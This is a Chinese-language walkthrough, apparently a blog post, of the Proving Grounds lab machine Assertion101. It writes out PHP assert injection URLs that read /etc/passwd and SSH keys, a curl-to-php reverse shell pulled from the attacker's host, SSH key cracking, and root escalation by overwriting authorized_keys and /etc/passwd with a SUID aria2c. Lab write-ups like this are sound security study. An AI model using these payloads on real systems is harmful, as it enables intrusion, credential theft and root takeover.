Proving Grounds Play : Assertion101 Walkthrough
Proving Grounds Play : Assertion101 Walkthrough
Foothold :
- 80 網站是一個 PHP 網站,傳統的幾種 Path Traversal 無作用
- 參考 Hacktricks 其他 PHP Path Traversal 後發現使用 assert 的方式成功執行命令讀取檔案
- 獲取某使用者 id_rsa 後成功登入
PE :
- SUID 發現 aria2c 利用,利用覆蓋 /etc/passwd 後成功提權
Rustscan,└─$ rustscan -a 192.168.151.94 --scripts none --ulimit 5000 | tee rustscan
snmp check,└─$ sudo nmap -sU -p 161 192.168.151.94 | tee snmp
nmap
whatweb
80 /
80 /robots.txt
點了幾個網頁發現 index.php 會帶 Query String ?page=ooxx
馬上測試一下 ?page=../../../../../../../../etc/passwd
兄弟,沒有這麼簡單!.......機車的網頁
測試 RFI,看來沒有作用
gobuster
80 /about.php
80 /css
80 /fonts
80 /img
80 /js
80 /pages
80 /schedule.php
PHP Wrappers 包裝器測試,http://192.168.151.94/index.php?page=php://filter/convert.base64-encode/resource=../../../../../../../../etc/passwd
參考 hacktricks 其他有關 Path Traversal 的測試
https://book.hacktricks.xyz/pentesting-web/file-inclusion
測試到 LFI iva PHP's "assert"
測試到這一個 ' and die(system("id")) or ' 成功顯示 id 資訊如下圖
http://192.168.151.94/index.php?page=%27%20and%20die(system(%22id%22))%20or%20%27
將 id 改成 cat /etc/passwd 獲得帳號 soz、fnx 兩個帳號
http://192.168.151.94/index.php?page=%27%20and%20die(system(%22cat%20/etc/passwd%22))%20or%20%27
看看有無 id_rsa,發現兩個帳號都沒有
http://192.168.151.94/index.php?page=%27%20and%20die(system(%22cat%20/home/soz/.ssh/id_rsa%22))%20or%20%27
http://192.168.151.94/index.php?page=%27%20and%20die(system(%22cat%20/home/fnx/.ssh/id_rsa%22))%20or%20%27
測試 RFI 跑 reverse shell php-reverse-shell.php
http://192.168.151.94/index.php?page=%27%20and%20die(system("curl http://192.168.45.168/tools/php-reverse-shell.php"))%20or%20%27
結果將內容讀出來而不是執行該 php
在 URL 後面加上 | php 告知執行完 curl 後用 php 執行看看
http://192.168.151.94/index.php?page=%27%20and%20die(system("curl http://192.168.45.168/tools/php-reverse-shell.php | php"))%20or%20%27
成功拿到 Reverse Shell 了
拿到第一階段的 local.txt
開始 PE,cat /etc/crontab
sudo -l,不知道密碼
SUID check,find / -perm -u=s -type f 2>/dev/null
參考 GTFO 有發現 aria2c 有 SUID 如下
執行後沒有成功,繼續 PE 後續在路徑 /var/www/html/.todeletelater/id_rsa 發現 id_rsa
看來是用 AES128 加密後的檔案
存成檔案,然後用 ssh2john 轉成 hash 再用 john 破解看看
結果破解出來得到密碼是 sozefasalshwamra
測試用 soz 登入,結果成功登入了
SUID check,find / -perm -u=s -type f 2>/dev/null
後來發現 GTFO 給的最後一段 http://x 要用真實可以存取的檔案
將它改成 http://192.168.45.168/test.txt 看看,發現真的有下載
且權限是 root
做了一下研究發現兩點
1. aria2c 是一個下載命令,具有 SUID root 權限意味著下載後可以保存再任意位置
或是修改替換任何檔案
2. 一開始的 www-data 與後來拿到的 id_rsa 登入的 soz 測試 aria2c 權限都是 root
表示改走 id_rsa 登入切換使用者 soz 一舉是多餘的,可以不用有這一段
所以後續直接回到 www-data 的 TTY 直接測試提權看看
這裡有幾個方式去提權,第一個發現 root 其實是可以 SSH 登入的
所以讓我們來做一個 id_rsa 的檔案給 root 看看
ssh-keygen -t rsa 產生對稱金鑰
將公鑰 id_rsa.pub 複製一份出來取名叫做 authorized_keys
下載 authorized_keys 然後存成 /root/.ssh/authorized_keys
/usr/bin/aria2c -d /root/.ssh/ -o authorized_keys http://192.168.45.168/pgplay/94/authorized_keys
發現檔案已經存在
加上 overwrite 參數再跑一次看看
/usr/bin/aria2c -d /root/.ssh/ -o authorized_keys http://192.168.45.168/pgplay/94/authorized_keys --allow-overwrite=true
看來這一次成功覆蓋原有檔案了
SSH 直接進去了,成功獲取 proof.txt
補充說明 :
因為可以覆蓋所有檔案,另外一條路就是修改 /etc/passwd
這也有多種方式,第一個就是將 root 的密碼寫死
因為檔案只能用覆蓋的方式所以先將原有的 /etc/passwd 抓下來
接著產生密碼 Oscp#1234 "$1$LlDuR1.9$ziHDpD1EVMmSHEy2Pfc1P."
將密碼寫進去
GTFO 依樣畫葫蘆,看來有成功覆蓋原有檔案
直接 su root 輸入密碼 Oscp#1234 成功 root
另一種方式,新增一個有 root 權限的使用者 aries,密碼用一樣的
一樣用 aria2c 去覆蓋 passwd
su aries 後成功 root
留言
張貼留言